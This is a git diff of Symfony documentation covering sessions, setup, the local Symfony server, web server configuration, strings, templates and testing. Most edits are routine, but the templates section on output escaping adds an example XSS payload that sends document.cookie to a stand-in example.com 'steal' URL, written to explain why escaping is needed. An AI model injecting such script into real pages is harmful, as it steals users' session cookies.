@@ -230,16 +254,17 @@ by the :ref:`Twig global app variable <twig-app-variable>`:
             }
         }
 
+        // display all flashes at once without clearing the flash bag
+        foreach ($session->getFlashBag()->peekAll() as $type => $messages) {
+            foreach ($messages as $message) {
+                echo '<div class="flash-'.$type.'">'.$message.'</div>';
+            }
+        }
+
 It's common to use ``notice``, ``warning`` and ``error`` as the keys of the
 different types of flash messages, but you can use any key that fits your
 needs.
 
-.. tip::
-
-    You can use the
-    :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
-    method instead to retrieve the message while keeping it in the bag.
-
 Configuration
 -------------
 
@@ -394,7 +419,7 @@ session metadata files:
 Check out the Symfony config reference to learn more about the other available
 :ref:`Session configuration options <config-framework-session>`.
 
-.. caution::
+.. warning::
 
     Symfony sessions are incompatible with ``php.ini`` directive
     ``session.auto_start = 1`` This directive should be turned off in
@@ -533,7 +558,7 @@ a Symfony service for the connection to the Redis server:
 
             Redis:
                 # you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes
-                class: Redis
+                class: \Redis
                 calls:
                     - connect:
                         - '%env(REDIS_HOST)%'
@@ -1506,7 +1531,7 @@ event::
         }
     }
 
-.. caution::
+.. warning::
 
     In order to update the language immediately after a user has changed their
     language preferences, you also need to update the session when you change
diff --git a/setup.rst b/setup.rst
index 6ed508d771b..c8654296986 100644
--- a/setup.rst
+++ b/setup.rst
@@ -34,7 +34,7 @@ requirements. Open your console terminal and run this command:
 
 .. note::
 
-    The Symfony CLI is written in Go and you can contribute to it in the
+    The Symfony CLI is open source, and you can contribute to it in the
     `symfony-cli/symfony-cli GitHub repository`_.
 
 .. _creating-symfony-applications:
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.0.*" --webapp
+    $ symfony new my_project_directory --version="7.1.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.0.*"
+    $ symfony new my_project_directory --version="7.1.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies
diff --git a/setup/_update_all_packages.rst.inc b/setup/_update_all_packages.rst.inc
index a6a6c70e570..7b858c51351 100644
--- a/setup/_update_all_packages.rst.inc
+++ b/setup/_update_all_packages.rst.inc
@@ -9,7 +9,7 @@ this safely by running:
 
     $ composer update
 
-.. caution::
+.. warning::
 
     Beware, if you have some unspecific `version constraints`_ in your
     ``composer.json`` (e.g. ``dev-master``), this could upgrade some
diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index 7bf2d0bf035..45195f21e31 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -67,12 +67,12 @@ Edit your web server configuration (commonly ``httpd.conf`` or ``apache2.conf``
 for Apache) and set its user to be the same as your CLI user (e.g. for Apache,
 update the ``User`` and ``Group`` directives).
 
-.. caution::
+.. danger::
 
     If this solution is used in a production server, be sure this user only has
     limited privileges (no access to private data or servers, execution of
-    unsafe binaries, etc.) as a compromised server would give to the hacker
-    those privileges.
+    unsafe binaries, etc.) as a compromised server would give those privileges
+    to the hacker.
 
 3. Without Using ACL
 ~~~~~~~~~~~~~~~~~~~~
@@ -89,7 +89,7 @@ and ``public/index.php`` files::
 
     umask(0000); // This will let the permissions be 0777
 
-.. caution::
+.. warning::
 
     Changing the ``umask`` is not thread-safe, so the ACL methods are recommended
     when they are available.
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 6c666a7ad2e..2ea4da543fe 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -17,6 +17,17 @@ Installation
 The Symfony server is part of the ``symfony`` binary created when you
 `install Symfony`_ and has support for Linux, macOS and Windows.
 
+.. tip::
+
+    The Symfony CLI supports auto completion for Bash, Zsh, or Fish shells. You
+    have to install the completion script *once*. Run ``symfony completion
+    --help`` for the installation instructions for your shell. After installing
+    and restarting your terminal, you're all set to use completion (by default,
+    by pressing the Tab key).
+
+    The Symfony CLI will also provide completion for the ``composer`` command
+    and for the ``console`` command if it detects a Symfony project.
+
 .. note::
 
    You can view and contribute to the Symfony CLI source in the
@@ -106,6 +117,20 @@ trust store, registers it in Firefox (this is required only for that browser)
 and creates a default certificate for ``localhost`` and ``127.0.0.1``. In other
 words, it does everything for you.
 
+.. tip::
+
+    If you are doing this in WSL (Windows Subsystem for Linux), the newly created
+    local certificate authority needs to be manually imported in Windows. The file
+    is located in ``wsl`` at ``~/.symfony5/certs/default.p12``. The easiest way to
+    do so is to run the following command from ``wsl``:
+
+    .. code-block:: terminal
+
+        $ explorer.exe `wslpath -w $HOME/.symfony5/certs`
+
+    In the file explorer window that just opened, double-click on the file
+    called ``default.p12``.
+
 Before browsing your local application with HTTPS instead of HTTP, restart its
 server stopping and starting it again.
 
@@ -223,6 +248,9 @@ If the proxy doesn't work as explained in the following sections, check these:
 * Some Operating Systems (e.g. macOS) don't apply by default the proxy settings
   to local hosts and domains. You may need to remove ``*.local`` and/or other
   IP addresses from that list.
+* Windows Operating System **requires** ``localhost`` instead of ``127.0.0.1``
+  when configuring the automatic proxy, otherwise you won't be able to access
+  your local domain from your browser running in Windows.
 
 Defining the Local Domain
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -266,7 +294,7 @@ domains work:
     # Example with Cypress
     $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open
 
-.. note::
+.. warning::
 
     Although env var names are always defined in uppercase, the ``https_proxy``
     env var `is treated differently`_ than other env vars and its name must be
@@ -307,11 +335,6 @@ server provides a ``run`` command to wrap them as follows:
 Configuration file
 ------------------
 
-.. caution::
-
-    This feature is experimental and could change or be removed at any time
-    without prior notice.
-
 There are several options that you can set using a ``.symfony.local.yaml`` config file:
 
 .. code-block:: yaml
@@ -332,8 +355,9 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi
         no_tls: true # Use HTTP instead of HTTPS
         daemon: true # Run the server in the background
         use_gzip: true # Toggle GZIP compression
+        no_workers: true # Do not start workers
 
-.. caution::
+.. warning::
 
     Setting domains in this configuration file will override any domains you set
     using the ``proxy:domain:attach`` command for the current project when you start
@@ -369,6 +393,11 @@ If you like some processes to start automatically, along with the webserver
         # auto start Docker compose when starting server (available since Symfony CLI 5.7.0)
         docker_compose: ~
 
+.. tip::
+
+    You may want to not start workers on some environments like CI. You can use the
+    ``--no-workers`` option to start the server without starting workers.
+
 .. _symfony-server-docker:
 
 Docker Integration
@@ -495,7 +524,7 @@ its location, same as for ``docker-compose``:
     If you have more than one Docker Compose file, you can provide them all
     separated by ``:`` as explained in the `Docker compose CLI env var reference`_.
 
-.. caution::
+.. warning::
 
     When using the Symfony binary with ``php bin/console`` (``symfony console ...``),
     the binary will **always** use environment variables detected via Docker and will
@@ -505,7 +534,7 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
-.. caution::
+.. warning::
 
     Similar to other web servers, this tool automatically exposes all environment
     variables available in the CLI context. Ensure that this local server is not
@@ -530,5 +559,5 @@ help debug any issues.
 .. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
 .. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en
-.. _`is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only
+.. _`is treated differently`: https://superuser.com/a/1799209
 .. _`Docker compose CLI env var reference`: https://docs.docker.com/compose/reference/envvars/
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 13f839f36e1..9c4db187d51 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -98,7 +98,7 @@ Now, you can start fixing the notices:
 Once you fixed them all, the command ends with ``0`` (success) and you're
 done!
 
-.. caution::
+.. warning::
 
     You will probably see many deprecations about incompatible native
     return types. See :ref:`Add Native Return Types <upgrading-native-return-types>`
@@ -160,20 +160,46 @@ starting with ``symfony/`` to the new major version:
           "...": "...",
       }
 
-At the bottom of your ``composer.json`` file, in the ``extra`` block you can
-find a data setting for the Symfony version. Make sure to also upgrade
-this one. For instance, update it to ``7.0.*`` to upgrade to Symfony 7.0:
+A more efficient way to handle Symfony dependency updates is by setting the
+``extra.symfony.require`` configuration option in your ``composer.json`` file.
+In Symfony applications using :doc:`Symfony Flex </setup/flex>`, this setting
+restricts Symfony packages to a single specific version, improving both
+dependency management and Composer update performance:
 
 .. code-block:: diff
 
-      "extra": {
-          "symfony": {
-              "allow-contrib": false,
-    -       "require": "6.4.*"
-    +       "require": "7.0.*"
-          }
+      {
+          "...": "...",
+
+          "require": {
+    -         "symfony/cache": "7.0.*",
+    +         "symfony/cache": "*",
+    -         "symfony/config": "7.0.*",
+    +         "symfony/config": "*",
+    -         "symfony/console": "7.0.*",
+    +         "symfony/console": "*",
+              "...": "...",
+          },
+          "...": "...",
+
+    +     "extra": {
+    +         "symfony": {
+    +             "require": "7.0.*"
+    +         }
+    +     }
       }
 
+.. warning::
+
+    Tools like `dependabot`_ may ignore this setting and upgrade Symfony
+    dependencies. For more details, see this `GitHub issue about dependabot`_.
+
+.. tip::
+
+    If a more recent minor version is available (e.g. ``6.4``) you can use that
+    version directly and skip the older releases (``6.0``, ``6.1``, etc.).
+    Check the `maintained Symfony versions`_.
+
 Next, use Composer to download new versions of the libraries:
 
 .. code-block:: terminal
@@ -329,3 +355,6 @@ Classes in the ``vendor/`` directory are always ignored.
 
 .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
 .. _`Rector`: https://github.com/rectorphp/rector
+.. _`maintained Symfony versions`: https://symfony.com/releases
+.. _`dependabot`: https://docs.github.com/en/code-security/dependabot
+.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index cfd4ec1a0b7..58935bf5352 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -36,7 +36,7 @@ listen on. Each pool can also be run under a different UID and GID:
 
 .. code-block:: ini
 
-    ; /etc/php/7.4/fpm/pool.d/www.conf
+    ; /etc/php/8.3/fpm/pool.d/www.conf
 
     ; a pool called www
     [www]
@@ -44,57 +44,11 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.4-fpm.sock
+    listen = /var/run/php/php8.3-fpm.sock
 
     ; or listen on a TCP connection
     ; listen = 127.0.0.1:9000
 
-Apache
-------
-
-If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
-incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
-(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
-``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
-directive to pass requests for PHP files to PHP FPM:
-
-.. code-block:: apache
-
-    # /etc/apache2/conf.d/example.com.conf
-    <VirtualHost *:80>
-        ServerName example.com
-        ServerAlias www.example.com
-
-        # Uncomment the following line to force Apache to pass the Authorization
-        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
-        #
-        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
-
-        <FilesMatch \.php$>
-            # when using PHP-FPM as a unix socket
-            SetHandler proxy:unix:/var/run/php/php7.4-fpm.sock|fcgi://dummy
-
-            # when PHP-FPM is configured to use TCP
-            # SetHandler proxy:fcgi://127.0.0.1:9000
-        </FilesMatch>
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            AllowOverride None
-            Require all granted
-            FallbackResource /index.php
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
 Nginx
 -----
 
@@ -121,7 +75,7 @@ The **minimum configuration** to get your application running under Nginx is:
 
         location ~ ^/index\.php(/|$) {
             # when using PHP-FPM as a unix socket
-            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php8.3-fpm.sock;
 
             # when PHP-FPM is configured to use TCP
             # fastcgi_pass 127.0.0.1:9000;
@@ -175,13 +129,67 @@ The **minimum configuration** to get your application running under Nginx is:
     If you have other PHP files in your public directory that need to be executed,
     be sure to include them in the ``location`` block above.
 
-.. caution::
+.. warning::
 
     After you deploy to production, make sure that you **cannot** access the ``index.php``
     script (i.e. ``http://example.com/index.php``).
 
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
+Apache
+------
+
+If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
+incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
+(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
+``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
+directive to pass requests for PHP files to PHP FPM:
+
+.. code-block:: apache
+
+    # /etc/apache2/conf.d/example.com.conf
+    <VirtualHost *:80>
+        ServerName example.com
+        ServerAlias www.example.com
+
+        # Uncomment the following line to force Apache to pass the Authorization
+        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
+        #
+        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
+
+        <FilesMatch \.php$>
+            # when using PHP-FPM as a unix socket
+            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
+
+            # when PHP-FPM is configured to use TCP
+            # SetHandler proxy:fcgi://127.0.0.1:9000
+        </FilesMatch>
+
+        DocumentRoot /var/www/project/public
+        <Directory /var/www/project/public>
+            AllowOverride None
+            Require all granted
+            FallbackResource /index.php
+        </Directory>
+
+        # uncomment the following lines if you install assets as symlinks
+        # or run into problems when compiling LESS/Sass/CoffeeScript assets
+        # <Directory /var/www/project>
+        #     Options FollowSymlinks
+        # </Directory>
+
+        ErrorLog /var/log/apache2/project_error.log
+        CustomLog /var/log/apache2/project_access.log combined
+    </VirtualHost>
+
+.. note::
+
+    If you are doing some quick tests with Apache, you can also run
+    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
+    file in the ``public/`` directory with the necessary rewrite rules needed to serve
+    the Symfony application. However, in production, it's recommended to move these
+    rules to the main Apache configuration file (as shown above) to improve performance.
+
 Caddy
 -----
 
@@ -198,7 +206,10 @@ When using Caddy on the server, you can use a configuration like this:
         file_server
 
         # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
-        php_fastcgi unix//var/run/php/php7.4-fpm.sock {
+        php_fastcgi unix//var/run/php/php8.3-fpm.sock {
+            # only fall back to root index.php aka front controller.
+            try_files {path} index.php
+
             # optionally set the value of the environment variables used in the application
             # env APP_ENV "prod"
             # env APP_SECRET "<app-secret-id>"
diff --git a/components/string.rst b/string.rst
similarity index 93%
rename from components/string.rst
rename to string.rst
index 68362ed8654..667dcd06010 100644
--- a/components/string.rst
+++ b/string.rst
@@ -1,11 +1,11 @@
-The String Component
-====================
+Creating and Manipulating Strings
+=================================
 
-    The String component provides a single object-oriented API to work with
-    three "unit systems" of strings: bytes, code points and grapheme clusters.
+Symfony provides an object-oriented API to work with Unicode strings (as bytes,
+code points and grapheme clusters). This API is available via the String component,
+which you must first install in your application:
 
-Installation
-------------
+.. _installation:
 
 .. code-block:: terminal
 
@@ -222,8 +222,8 @@ Methods to Change Case
     u('foo BAR bάz')->localeUpper('el'); // 'FOO BAR BAZ'
 
     // changes all graphemes/code points to "title case"
-    u('foo ijssel')->title();     // 'Foo ijssel'
-    u('foo ijssel')->title(true); // 'Foo Ijssel'
+    u('foo ijssel')->title();               // 'Foo ijssel'
+    u('foo ijssel')->title(allWords: true); // 'Foo Ijssel'
     // changes all graphemes/code points to "title case" according to locale-specific case mappings
     u('foo ijssel')->localeTitle('en'); // 'Foo ijssel'
     u('foo ijssel')->localeTitle('nl'); // 'Foo IJssel'
@@ -269,20 +269,20 @@ Methods to Append and Prepend
     u('UserControllerController')->ensureEnd('Controller'); // 'UserController'
 
     // returns the contents found before/after the first occurrence of the given string
-    u('hello world')->before('world');   // 'hello '
-    u('hello world')->before('o');       // 'hell'
-    u('hello world')->before('o', true); // 'hello'
+    u('hello world')->before('world');                  // 'hello '
+    u('hello world')->before('o');                      // 'hell'
+    u('hello world')->before('o', includeNeedle: true); // 'hello'
 
-    u('hello world')->after('hello');   // ' world'
-    u('hello world')->after('o');       // ' world'
-    u('hello world')->after('o', true); // 'o world'
+    u('hello world')->after('hello');                  // ' world'
+    u('hello world')->after('o');                      // ' world'
+    u('hello world')->after('o', includeNeedle: true); // 'o world'
 
     // returns the contents found before/after the last occurrence of the given string
-    u('hello world')->beforeLast('o');       // 'hello w'
-    u('hello world')->beforeLast('o', true); // 'hello wo'
+    u('hello world')->beforeLast('o');                      // 'hello w'
+    u('hello world')->beforeLast('o', includeNeedle: true); // 'hello wo'
 
-    u('hello world')->afterLast('o');       // 'rld'
-    u('hello world')->afterLast('o', true); // 'orld'
+    u('hello world')->afterLast('o');                      // 'rld'
+    u('hello world')->afterLast('o', includeNeedle: true); // 'orld'
 
 Methods to Pad and Trim
 ~~~~~~~~~~~~~~~~~~~~~~~
@@ -395,17 +395,17 @@ Methods to Join, Split, Truncate and Reverse
     u('Lorem Ipsum')->truncate(80);            // 'Lorem Ipsum'
     // the second argument is the character(s) added when a string is cut
     // (the total length includes the length of this character(s))
-    u('Lorem Ipsum')->truncate(8, '…');        // 'Lorem I…'
+    u('Lorem Ipsum')->truncate(8, '…');             // 'Lorem I…'
     // if the third argument is false, the last word before the cut is kept
     // even if that generates a string longer than the desired length
-    u('Lorem Ipsum')->truncate(8, '…', false); // 'Lorem Ipsum'
+    u('Lorem Ipsum')->truncate(8, '…', cut: false); // 'Lorem Ipsum'
 
 ::
 
     // breaks the string into lines of the given length
-    u('Lorem Ipsum')->wordwrap(4);             // 'Lorem\nIpsum'
+    u('Lorem Ipsum')->wordwrap(4);                  // 'Lorem\nIpsum'
     // by default it breaks by white space; pass TRUE to break unconditionally
-    u('Lorem Ipsum')->wordwrap(4, "\n", true); // 'Lore\nm\nIpsu\nm'
+    u('Lorem Ipsum')->wordwrap(4, "\n", cut: true); // 'Lore\nm\nIpsu\nm'
 
     // replaces a portion of the string with the given contents:
     // the second argument is the position where the replacement starts;
@@ -419,7 +419,7 @@ Methods to Join, Split, Truncate and Reverse
     u('0123456789')->chunk(3);  // ['012', '345', '678', '9']
 
     // reverses the order of the string contents
-    u('foo bar')->reverse(); // 'rab oof'
+    u('foo bar')->reverse();  // 'rab oof'
     u('さよなら')->reverse(); // 'らなよさ'
 
 Methods Added by ByteString
@@ -507,6 +507,13 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
+Working with Emojis
+-------------------
+
+These contents have been moved to the :doc:`Emoji component docs </emoji>`.
+
+.. _string-slugger:
+
 Slugger
 -------
 
@@ -579,7 +586,8 @@ the injected slugger is the same as the request locale::
 Slug Emojis
 ~~~~~~~~~~~
 
-You can transform any emojis into their textual representation::
+You can also combine the :ref:`emoji transliterator <emoji-transliteration>`
+with the slugger to transform any emojis into their textual representation::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 
@@ -593,7 +601,7 @@ You can transform any emojis into their textual representation::
     // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
 
 If you want to use a specific locale for the emoji, or to use the short codes
-from GitHub or Slack, use the first argument of ``withEmoji()`` method::
+from GitHub, Gitlab or Slack, use the first argument of ``withEmoji()`` method::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 
diff --git a/templates.rst b/templates.rst
index 3ba9b9f59a5..5815dbb56c4 100644
--- a/templates.rst
+++ b/templates.rst
@@ -6,6 +6,16 @@ whether you need to render HTML from a :doc:`controller </controller>` or genera
 the :doc:`contents of an email </mailer>`. Templates in Symfony are created with
 Twig: a flexible, fast, and secure template engine.
 
+Installation
+------------
+
+In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command
+to install both Twig language support and its integration with Symfony applications:
+
+.. code-block:: terminal
+
+    $ composer require symfony/twig-bundle
+
 .. _twig-language:
 
 Twig Templating Language
@@ -329,8 +339,8 @@ as follows:
 Build, Versioning & More Advanced CSS, JavaScript and Image Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-For help building, versioning and minifying your JavaScript and
-CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`.
+For help building and versioning your JavaScript and
+CSS assets in a modern way, read about :doc:`Symfony's AssetMapper </frontend>`.
 
 .. _twig-app-variable:
 
@@ -566,7 +576,7 @@ use the ``render()`` method of the ``twig`` service.
 
 .. _templates-template-attribute:
 
-Another option is to use the ``#[Template()]`` attribute on the controller method
+Another option is to use the ``#[Template]`` attribute on the controller method
 to define the template to render::
 
     // src/Controller/ProductController.php
@@ -583,7 +593,7 @@ to define the template to render::
         {
             // ...
 
-            // when using the #[Template()] attribute, you only need to return
+            // when using the #[Template] attribute, you only need to return
             // an array with the parameters to pass to the template (the attribute
             // is the one which will create and return the Response object).
             return [
@@ -1060,7 +1070,7 @@ template fragments. Configure that special URL in the ``fragments`` option:
             $framework->fragments()->path('/_fragment');
         };
 
-.. caution::
+.. warning::
 
     Embedding controllers requires making requests to those controllers and
     rendering some templates as result. This can have a significant impact on
@@ -1077,7 +1087,7 @@ JavaScript library.
 
 First, include the `hinclude.js`_ library in your page
 :ref:`linking to it <templates-link-to-assets>` from the template or adding it
-to your application JavaScript :doc:`using Webpack Encore </frontend>`.
+to your application JavaScript :doc:`using AssetMapper </frontend>`.
 
 As the embedded content comes from another page (or controller for that matter),
 Symfony uses a version of the standard ``render()`` function to configure
@@ -1266,14 +1276,14 @@ different templates to create the final contents. This inheritance mechanism
 boosts your productivity because each template includes only its unique contents
 and leaves the repeated contents and HTML structure to some parent templates.
 
-.. caution::
+.. warning::
 
     When using ``extends``, a child template is forbidden to define template
     parts outside of a block. The following code throws a ``SyntaxError``:
 
     .. code-block:: html+twig
 
-        {# app/Resources/views/blog/index.html.twig #}
+        {# templates/blog/index.html.twig #}
         {% extends 'base.html.twig' %}
 
         {# the line below is not captured by a "block" tag #}
@@ -1285,17 +1295,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
 Read the `Twig template inheritance`_ docs to learn more about how to reuse
 parent block contents when overriding templates and other advanced features.
 
-Output Escaping
----------------
+.. _output-escaping:
+.. _xss-attacks:
+
+Output Escaping and XSS Attacks
+-------------------------------
 
 Imagine that your template includes the ``Hello {{ name }}`` code to display the
-user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
-their name and you output that value unchanged, the application will display a
-JavaScript popup window.
+user name and a malicious user sets the following as their name:
+
+.. code-block:: html
+
+    My Name
+    <script type="text/javascript">
+        document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
+    </script>
 
-This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
-example seems harmless, the attacker could write more advanced JavaScript code
-to perform malicious actions.
+You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
+so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_
+or XSS attack.
 
 To prevent this attack, use *"output escaping"* to transform the characters
 which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).
@@ -1452,7 +1470,7 @@ templates under an automatic namespace created after the bundle name.
 
 For example, the templates of a bundle called ``AcmeBlogBundle`` are available
 under the ``AcmeBlog`` namespace. If this bundle includes the template
-``<your-project>/vendor/acme/blog-bundle/Resources/views/user/profile.html.twig``,
+``<your-project>/vendor/acme/blog-bundle/templates/user/profile.html.twig``,
 you can refer to it as ``@AcmeBlog/user/profile.html.twig``.
 
 .. tip::
@@ -1467,7 +1485,7 @@ Writing a Twig Extension
 
 `Twig Extensions`_ allow the creation of custom functions, filters, and more to use
 in your Twig templates. Before writing your own Twig extension, check if
-the filter/function that you need is already implemented in:
+the filter/function that you need is not already implemented in:
 
 * The `default Twig filters and functions`_;
 * The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`;
@@ -1639,7 +1657,7 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig
 .. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
 .. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
 .. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
-.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Loader/FilesystemLoader.php
+.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Environment.php
 .. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
 .. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
 .. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html
diff --git a/testing.rst b/testing.rst
index cd0eedd3659..30c0e87ab77 100644
--- a/testing.rst
+++ b/testing.rst
@@ -97,7 +97,8 @@ You can run tests using the ``bin/phpunit`` command:
 .. tip::
 
     In large test suites, it can make sense to create subdirectories for
-    each type of tests (e.g. ``tests/Unit/`` and ``tests/Functional/``).
+    each type of test (``tests/Unit/``, ``tests/Integration/``,
+    ``tests/Application/``, etc.).
 
 .. _integration-tests:
 
@@ -225,7 +226,7 @@ need in your ``.env.test`` file:
     # .env.test
 
     # ...
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=8.0.37"
 
 In the test environment, these env files are read (if vars are duplicated
 in them, files lower in the list override previous items):
@@ -234,7 +235,7 @@ in them, files lower in the list override previous items):
 #. ``.env.test``: overriding/setting specific test values or vars;
 #. ``.env.test.local``: overriding settings specific for this machine.
 
-.. caution::
+.. warning::
 
     The ``.env.local`` file is **not** used in the test environment, to
     make each test set-up as consistent as possible.
@@ -317,7 +318,7 @@ concrete one::
         }
     }
 
-No further configuration in required, as the test service container is a special one
+No further configuration is required, as the test service container is a special one
 that allows you to interact with private services and aliases.
 
 .. _testing-databases:
@@ -336,7 +337,7 @@ env var:
 .. code-block:: env
 
     # .env.test.local
-    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
+    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=8.0.37"
 
 This assumes that each developer/machine uses a different database for the
 tests. If the test set-up is the same on each machine, use the ``.env.test``
@@ -555,13 +556,13 @@ returns a ``Crawler`` instance.
 
 The full signature of the ``request()`` method is::
 
-    request(
+    public function request(
         string $method,
         string $uri,
         array $parameters = [],
         array $files = [],
         array $server = [],
-        string $content = null,
+        ?string $content = null,
         bool $changeHistory = true
     ): Crawler
 
@@ -605,7 +606,7 @@ to remove the ``kernel.reset`` tag from some services in your test environment::
 
         // ...
 
-        protected function process(ContainerBuilder $container): void
+        public function process(ContainerBuilder $container): void
         {
             if ('test' === $this->environment) {
                 // prevents the security token to be cleared
@@ -711,6 +712,10 @@ stores in the session of the test client. If you need to define custom
 attributes in this token, you can use the ``tokenAttributes`` argument of the
 :method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser` method.
 
+To set a specific firewall (``main`` is set by default)::
+
+    $client->loginUser($testUser, 'my_firewall');
+
 .. note::
 
     By design, the ``loginUser()`` method doesn't work when using stateless firewalls.
@@ -745,7 +750,7 @@ You can also override HTTP headers on a per request basis::
         'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
     ]);
 
-.. caution::
+.. warning::
 
     The name of your custom headers must follow the syntax defined in the
     `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
@@ -869,7 +874,7 @@ The second optional argument is used to override the default form field values.
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Form` object
 that provides helpful methods specific to forms (such as ``getUri()``,
-``getValues()`` and ``getFields()``) use the ``Crawler::selectButton()`` method instead::
+``getValues()`` and ``getFiles()``) use the ``Crawler::selectButton()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');
@@ -956,11 +961,11 @@ However, Symfony provides useful shortcut methods for the most common cases:
 Response Assertions
 ...................
 
-``assertResponseIsSuccessful(string $message = '')``
+``assertResponseIsSuccessful(string $message = '', bool $verbose = true)``
     Asserts that the response was successful (HTTP status is 2xx).
-``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
+``assertResponseStatusCodeSame(int $expectedCode, string $message = '', bool $verbose = true)``
     Asserts a specific HTTP status code.
